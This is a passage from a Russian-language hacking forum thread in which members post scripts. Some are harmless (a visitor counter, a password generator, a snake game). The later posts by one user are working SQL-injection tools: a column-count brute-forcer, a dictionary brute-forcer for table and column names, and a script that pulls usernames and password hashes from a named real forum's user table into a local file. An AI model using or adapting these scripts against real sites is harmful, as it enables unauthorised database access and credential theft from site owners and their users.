    echo "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>";
       for($i=0;$i<sizeof($transparent);$i++)
           {fwrite($fo,$transparent[$i]."\n");
           echo $transparent[$i]."<br>";}
    echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>";
        for($i=0;$i<sizeof($anonymous);$i++)
        {fwrite($fo,$anonymous[$i]."\n");
            echo $anonymous[$i]."<br>";}
    echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>";
        for($i=0;$i<sizeof($high_anonymity);$i++)
            {fwrite($fo,$high_anonymity[$i]."\n");
            echo $high_anonymity[$i]."<br>";}
    echo "</fieldset></td></tr></table>";
      fclose($fo);
     ?>
    Вот рабочий =)
     
  14. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    смотри здесь
    _http://p-range.info/proxy.txt
     
    1 person likes this.
  15. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    yandex money balance checker

     
    1 person likes this.
  16. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    скрипт отображает количество людей просматривающих страницу:
    PHP:
    <?
    $timelim=20///лимит времени в секундах допустимого бездействия пользоваеля
    session_id("hfJKcbJssJ");
    session_start();
    $f=1;
    if(!isset(
    $_SESSION['kolvo'])) 
        
    $_SESSION['kolvo']=0;
    if(
    $_SESSION['kolvo']>0)
    {
      for(
    $i=0;$i<$_SESSION['kolvo'];$i++)
        if(
    $_SESSION['users']['ip'][$i]==$_SERVER['REMOTE_ADDR'])
           {
             
    $_SESSION['users']['date'][$i]=date('U');
             
    $f=0;
             break;
           }

    if(
    $_SESSION['kolvo']>0)      
    for(
    $i=0;$i<$_SESSION['kolvo'];$i++)
       if(
    date('U')-$_SESSION['users']['date'][$i]>$timelim)
       { for(
    $j=$i;$j<$_SESSION['kolvo']-1;$j++)
            {
             
    $_SESSION['users']['date'][$j]=$_SESSION['users']['date'][$j+1];
             
    $_SESSION['users']['ip'][$j]=$_SESSION['users']['ip'][$j+1];
            }
         
    $_SESSION['kolvo']--;
        }
    }
    if(
    $f)
    {
      
    $_SESSION['users']['ip'][$_SESSION['kolvo']]=$_SERVER['REMOTE_ADDR'];
      
    $_SESSION['users']['date'][$_SESSION['kolvo']]=date('U');
      
    $_SESSION['kolvo']++;
    }
    echo 
    "Рыл на странице: ".$_SESSION['kolvo'];
    ?>
     
    1 person likes this.
  17. cRiLaZ

    cRiLaZ Member

    Joined:
    17 Oct 2006
    Messages:
    21
    Likes Received:
    15
    Reputations:
    18
    Мой скрипт который подбирает количество колонок в скуле:

    PHP:
    <?
    ######################################   if(is_good_boy($nick)){
    ######################################     echo <<<GreetZ 
    ########### GraBBerz TeaM ############     - лАмАрЕз
    ########## www.grabberz.com ##########     - @стериX
    ######## (c)оудед бай cRiLaZ #########     - Д'кей
    ######################################     - КоТ777
    #### Брут колонок к СКЛ-инжектион ####     - РиДЖи
    ######### criSQLcolumnsPicler ########     - сиаттак
    ####         09.01.2007           ####     - Сато и другим...
    ######################################     GreetZ;
    ######################################   }
    set_time_limit(0);
    error_reporting(0);
    ?>
    <html>
    <head><title>criScB</title>
    <style>
    table, td {
        border : 1px dashed #444444;
        background-color : #000000;
        font : 12px courier new;
        color : #888888;
    }
    input {
        background-color: #000000;
        font:8pt verdana;
        text-align:center;
        color:#cccccc;
    }
    </style>
    </head>

    <body text=00ff00 bgcolor=000000>
    <form method='post' action="<?echo $PHP_SELF;?>">
    <br><br><br>
    <table  border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
    <tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
    <b>SQL columns Picker</b></td></tr>
    <tr><td align='center' colspan='2'>
    by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
    </td>
    </tr>

    <tr><td width='15%' align='center'><b>Запрос</b></td>
    <td width='50%' align='right'><input name='man_zapros' type='text' value="<?if($_post['man_zapros']){echo $man_zapros;}else{echo 'http://crilaz.net.ru/ind.php?fuck=-1+union+select+|cols|/*';}?>" size=40%>
    </td>
    <tr>
    <td rowspan=2 align=center>
    <b>Текст</b>
    </td>
    <td align=right>
    <input type='radio'checked name='text_tipe' value='error'>
    <input type='text' size='36' value='Ошибки' name='error_text'>
    </td>
    </tr>
    <tr>
    <td align=right>
    <input type='radio' name='text_tipe' value='good'>
    <input type='text' size='36' value='Нужный' name='good_text'>
    </td>
    </tr>

    <tr><td width='15%' align='center'><b>Колонки</b></td>
    <td width='50%' align='right'><input name='columns' type='text' value="<?if($_post['columns']){echo $columns;}else{echo '50';}?>" size='40%'>
    </td></tr>

    <tr>
    <td colspan='2' align='right'>
    <input type='submit' value='                     Подобрать...                     ' name='gogogogo'>
    </td>
    </tr>
    </table>
    </form><br><br>
    <?
    if($_POST["gogogogo"]){
        $man_zapros       = htmlspecialchars($_POST['man_zapros']);
        $arr_url             = parse_url($_POST['man_zapros']); 
        $host             = $arr_url['host'];
        $columns          = $_POST['columns'];
        if((int)$columns>250){echo "<script>alert('Колонок не может быть больше 250!');</script>";}
        if($_POST['text_tipe']=="error"){
            $need_text=$error_text;} 
        else{
            $need_text=$good_text;}
        $col_num             = "";
        $content          = "";

        for($q=1;$q<=$columns;$q++){
            $bad_col_num.=$q.",";
            $good_col_num=substr($bad_col_num,0,(count($col_num)-2));
            
            $request=str_replace("|cols|",$good_col_num,$man_zapros);
            $zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
            $soket=fsockopen("www.".$host, 80, $errno, $errstr, 10) or die ("$errstr ($errno)");
            fwrite($soket, $zapros);
            while(!feof($soket)){
                $content.=fgets($soket);}
            //@$hell_words=eregi($need_text, $content);
            if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
                echo "<br><font color='00ff00'>$request</font>";} 
            else{
                echo "<br><font color='ff0000'>$request</font>";}
            $content="";
            $request="";
        }
    }
    ?>
    А этот аналогично бодбирает названия таблиц или колонок, чего захотите вобщем

    PHP:
    <?
    ######################################   гРит3ы: if(is_good_boy($nick)){
    ######################################     echo <<<freind 
    ########### GraBBerz TeaM ############     - лАмАрЕз
    ########## www.grabberz.com ##########     - @стериX
    ######## (c)оудед бай cRiLaZ #########     - Д'кей
    ######################################     - КоТ777
    ## Брут имен к колонкам и таблицам ###     - РиДЖи
    ########## criSQLtableBruter #########     - сиаттак
    ############# 14.01.2007 #############     - Сато и другим
    ######################################     freind;
    ######################################   }
    set_time_limit(0);
    error_reporting(0);
    ?>
    <html>
    <head><title>criStB</title>
    <style>
    table, td {
        border : 1px dashed #444444;
        background-color : #000000;
        font : 12px courier new;
        color : #888888;
    }
    input {
        background-color: #000000;
        font:8pt verdana;
        text-align:center;
        color:#cccccc;
    }
    </style>
    </head>

    <body text=00ff00 bgcolor=000000>
    <form method='post' action="<?echo $PHP_SELF;?>">
    <br><br><br>
    <table  border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
    <tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
    <b>SQL tables Bruter</b></td></tr>
    <tr><td align='center' colspan='2'>
    by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
    </td>
    </tr>

    <tr><td width='15%' align='center'><b>Запрос</b></td>
    <td width='50%' align='right'><input name='man_zapros' type='text' value="http://crilaz.net.ru/ind.php?fuck=-1+union+select+1,2+from+|word|/*" size=40%>
    </td>
    <tr>
    <td rowspan=2 align=center>
    <b>Текст</b>
    </td>
    <td align=right>
    <input type='radio'checked name='text_tipe' value='error'>
    <input type='text' size='36' value='Ошибки' name='error_text'>
    </td>
    </tr>
    <tr>
    <td align=right>
    <input type='radio' name='text_tipe' value='good'>
    <input type='text' size='36' value='Нужный' name='good_text'>
    </td>
    </tr>

    <tr><td width='15%' align='center'><b>Словарь</b></td>
    <td width='50%' align='right'><input name='slovar' type='text' value='slovar.txt' size='40%'>
    </td></tr>

    <tr>
    <td colspan='2' align='right'>
    <input type='submit' value='                     Подобрать...                     ' name='gogogogo'>
    </td>
    </tr>
    </table>
    </form>
    <?
    if($_POST["gogogogo"]){
        $man_zapros = htmlspecialchars($_POST['man_zapros']);
        $arr_url    = parse_url($_POST['man_zapros']); 
        $host       = $arr_url['host'];
        $brute_file = $_POST['slovar'];
        if($_POST['text_tipe']=="error"){
            $need_text=$error_text;} 
        else{
            $need_text=$good_text;}
        $content    = "";
        $brute_arr=file("$brute_file") or die ("Невозможно открыть файл со словарем!");
        foreach($brute_arr as $value){        
            $request=str_replace("|word|",$value,$man_zapros);
            $zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
            $soket=fsockopen("www.".$host, 80, $errno, $errstr, 10) or die ("$errstr ($errno)");
            fwrite($soket, $zapros);
            while(!feof($soket)){
                $content.=fgets($soket);}
            if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
                echo "<br><font color='00ff00'>$request</font>";} 
            else{
                echo "<br><font color='ff0000'>$request</font>";}
            $content="";
            $request="";
        }
    }
    ?>
    (многие вещи не проверял, т.к. не люблю писать всякую чушь)
    Пример работы можно посмотреть сдесь:
    http://crilaz.grabberz.com/tools/SQL/criScP.php - колонки
    http://crilaz.grabberz.com/tools/SQL/criStB.php - таблицы
     
    #37 cRiLaZ, 25 Jan 2007
    Last edited: 25 Jan 2007
    7 people like this.
  18. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Генерация пароля
    PHP:
    <?php 
    print "<body  BGcolor=Black TEXT=White>";
    print 
    "<form action=$PHP_SELF method=post>\nСимволов: <INPUT NAME=\"lenght[]\"><br>"
    print 
    "</select>\n<br><input type=submit value=Сгенерировать>\n<br>"
    print 
    "</form>"


    $symb "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*()_+#№-=<>`"
    $count strlen($symb)-1
    if(empty(
    $lenght)) {exit();} 
    else 

    foreach (
    $lenght as $digit
    print 
    "<b>Ваш пароль:</b><br>"
    for(
    $i=0$i <= ($digit-1); $i++) 

    $rand rand(0$count); 
    print 
    "<font face=verdana size=2 color=lime>$symb[$rand]"

    print 
    "</font><HR width=100%>"

    ?>
     
  19. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Очень нужный и полезный каждому хэкиру скрипт =) :
    PHP:
    #!/usr/bin/perl
    use strict;
    use 
    Tk;
    use 
    Data::Dumper;

    my $mw MainWindow->new(-title=>"Super Nibbles!");

    my $score 0;
    my $start time;

    my $score_board $mw->Label()->pack();
    $score_board->configure(-text => "Score: $score");
    my $board $mw->Canvas(-width => 600, -height => 400)->pack();
    $mw->bind("<Left>" sub set_direction(0) });
    $mw->bind("<Right>"sub set_direction(1) });
    $mw->bind("<Up>"   sub set_direction(2) });
    $mw->bind("<Down>" sub set_direction(3) });


    Tk::After->new($mw,150,'repeat'sub move() } );

    $board->createGrid(0,0,10,10 );

    my $moves = [ [-10], [ 10], [ 0,-1], [ 01] ];
    my $food  = [  ];
    my $food_size = [1,1,1,1,1,3,5];
    my $food_color = {
                     
    => 'green',
                     
    => 'yellow',
                     
    => 'purple' };



    place_food() for (1..5);

    my $snake = {
              
    direction => 0,
              
    blocks    =>[ [10,5], [11,5], [12,5] ],
              
    food      => 0,
    };

    sub update_score_board {
      
    $score_board->configure(-text => "Score: $score Time: " . (time $start));
    }

    sub set_direction {
        
    my $dir shift;
        
    my $cur $snake->{direction};
        
    move() if ($dir == $cur);
        
    unless ( ($cur == and $dir == 0) or
                 (
    $cur == and $dir == 1) or
                 (
    $cur == and $dir == 3) or
                 (
    $cur == and $dir == 2) ) {
                     
    $snake->{new_direction} = $dir ;
        }
    }

    sub in_bounds {
        
    my ($x,$y) = @_;
        return 
    if ($x >= and $x <= 59 and $y >= and $y <= 39);
        return 
    0;
    }


    sub hit_food {
        
    my ($x,$y) = @_;
        for 
    my $block (@$food) {
            if (
    $x == $block->[0] and $y == $block->[1]) {
               
    my $hits $block->[2];
               
    $block undef;
               
    $food = [ grep defined $_ } @$food ];
               return 
    $hits;
            }
        }
        return 
    0;
    }

    sub hit_snake {
        
    my ($x,$y) = @_;
        for 
    my $block (@{$snake->{blocks}}) {
            if (
    $x == $block->[0] and $y == $block->[1]) {
               return 
    1;
            }
        }
        return 
    0;
    }

    sub place_food {
        
    my $x undef;
        
    my $y;
        while ( !
    defined $x or
               !
    in_bounds($x,$y) or
                
    hit_food($x,$y)   or
                
    hit_snake($x$y) )
        {
            
    $x int(rand 60);
            
    $y int(rand 40);
        }
        
    push @$food, [$x,$y$food_size->[int(rand @$food_size)]];
    }

    sub move {
        if (
    exists $snake->{new_direction}) {
            
    $snake->{direction} = $snake->{new_direction};
            
    delete $snake->{new_direction};
        }
        
    my ($xc,$yc) = @{$moves->[ $snake->{direction} ] };
        
    my $last_pos $snake->{blocks}->[0];
        
    my $new_pos  =[$last_pos->[0] + $xc$last_pos->[1] + $yc];
        if (
    in_bounds( @$new_pos ) && !hit_snake(@$new_pos) ) {
           
    unshift  @{$snake->{blocks}}, $new_pos;
           
    my $hits hit_food(@$new_pos);
           if (
    $hits) {
              
    warn "Place new food ($hits)";
              
    place_food();
              
    show_food();
              
    $snake->{food} += $hits;
              
    $score += $hits;
           }

           if (
    $snake->{food} > 0) {
              
    $snake->{food}--;
           } else {
              
    pop   @{$snake->{blocks}};
           }
           
    show_snake();
        } else {
           
    $mw->destroy;
           die 
    "You died";
        }
        
    update_score_board();
    }



    sub show_snake {
        
    $board->delete('snake');
        for 
    my $block (@{$snake->{blocks}}) {
            
    block($board$block->[0], $block->[1], 'red''snake');
        }
    }

    sub show_food {
        
    $board->delete('food');
        for 
    my $block ( @$food ) {
            
    block($board$block->[0], $block->[1], $food_color->{$block->[2]}, 'food');
        }
    }

    show_snake();
    show_food();


    MainLoop;

    sub block {
        
    my ($canvas,$x,$y,$color$tag) = @_;
        
    $color ||= 'red';
        
    $canvas->createRectangle($x*10,$y*10,($x+1) * 10, ($y 1) *10, -fill=> $color, -tags => [$tag]);
    }
     
    #39 Digimortal, 10 Feb 2007
    Last edited: 10 Feb 2007
  20. cRiLaZ

    cRiLaZ Member

    Joined:
    17 Oct 2006
    Messages:
    21
    Likes Received:
    15
    Reputations:
    18
    надоели те, кто просит вытащить базу? Посылай их на... , тьфу ты :) сюда то есть.
    Снабдил обильным количеством коментов, так что не надо стучать и просить переделать для Вас, лучше почитайте книжечку, это полезнее.
    PHP:
    <?
    /*************************************************
     *            15.02.2007 22:00-23:12             *
     *   супер пупер скрипт для вытаскивания баз     *
     *                                               *
     *                                               *
     *            (c)одед бай cRiLaZ                 *
     *              (GraBBerZ TeaM)                  *
     *                                               *
     *           Приват в МИР!!!!!!!!!               *
     *        протева закрытых сорцов ;)             *
     ************************************************/
    /*конфиг*/
    $host="forum.tomsk.ru"#хост
    $how_much=4# скока раз повторять цикл
    /*функция, пишущая в файл sql.txt*/
    function input_into($text)
    {
        
    $a_file=fopen("./sql.txt","a+");
        
    fputs($a_file,"$text");
        
    fclose($a_file);
    }
    /*собсно цикл*/
    for($q=1;$q<=$how_much;$q++)
    {
        
    /*сдесь все, что после хоста*/
        
    $string_query="forum.php?a=24&user_id=-1+UNION+SELECT+1,CONCAT(CHAR(45,45,45),user_name,CHAR(45,45),user_pass,CHAR(45,45,45)),null,null,null,null,null,null,null,null+FROM+forum_user+WHERE+id=$q/* HTTP/1.0\n\n";
        
    /*формируем запрос к серву, в разных скулях тут по разному нада поставить*/
        
    $request ="GET http://".$host."/".$string_query." HTTP/1.1\n";
        
    $request.="Host: ".$host."\n";
        
    $request.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
        
    $request.="Connection: keep-alive\n";
        
    /*открываем сокет*/
        
    $soket=fsockopen($host,80,$errno,$errstr,13); #13 )))
        
    fwrite($soket,$request); #пишем в сокет
        
    while(!feof($soket)){            #
                
    $content.=fgets($soket);}#читаем
        
    fclose($soket); #закрываем
        /*регулярка*/
        
    ereg("(---(.*)---)",$content,$infa);
        
    /*пишем в файл результаты*/
        
    input_into("$q)".$infa[0]."\n");
        
    /*обнуляем все, ваще то нада тока контент, но мы же примерные*/
        
    $content="";
        
    $params="";
        
    $request="";
    }

    /*************************************************
     * а это для тех, кто в доспехах ;)
     * в общем регулярка думаю все понятно 
     * "---" - это начало и конец строки, 
     * "(.*)" - это любые значения. 
     * Т.е. в массив будет попадать все следующего вида 
     * "---login:pwd:mail---", если канешна в пассе, логине и т.д. нету "---".
     * Ну наверно все, скуль для испытаний я взял у [sql].
     * Просьба нащет орфографии не че не писать!!! 
     * Пешу так спициальна по своим соображениям! ;)
     ************************************************/
    ?>
     
    #40 cRiLaZ, 15 Feb 2007
    Last edited: 15 Feb 2007
    3 people like this.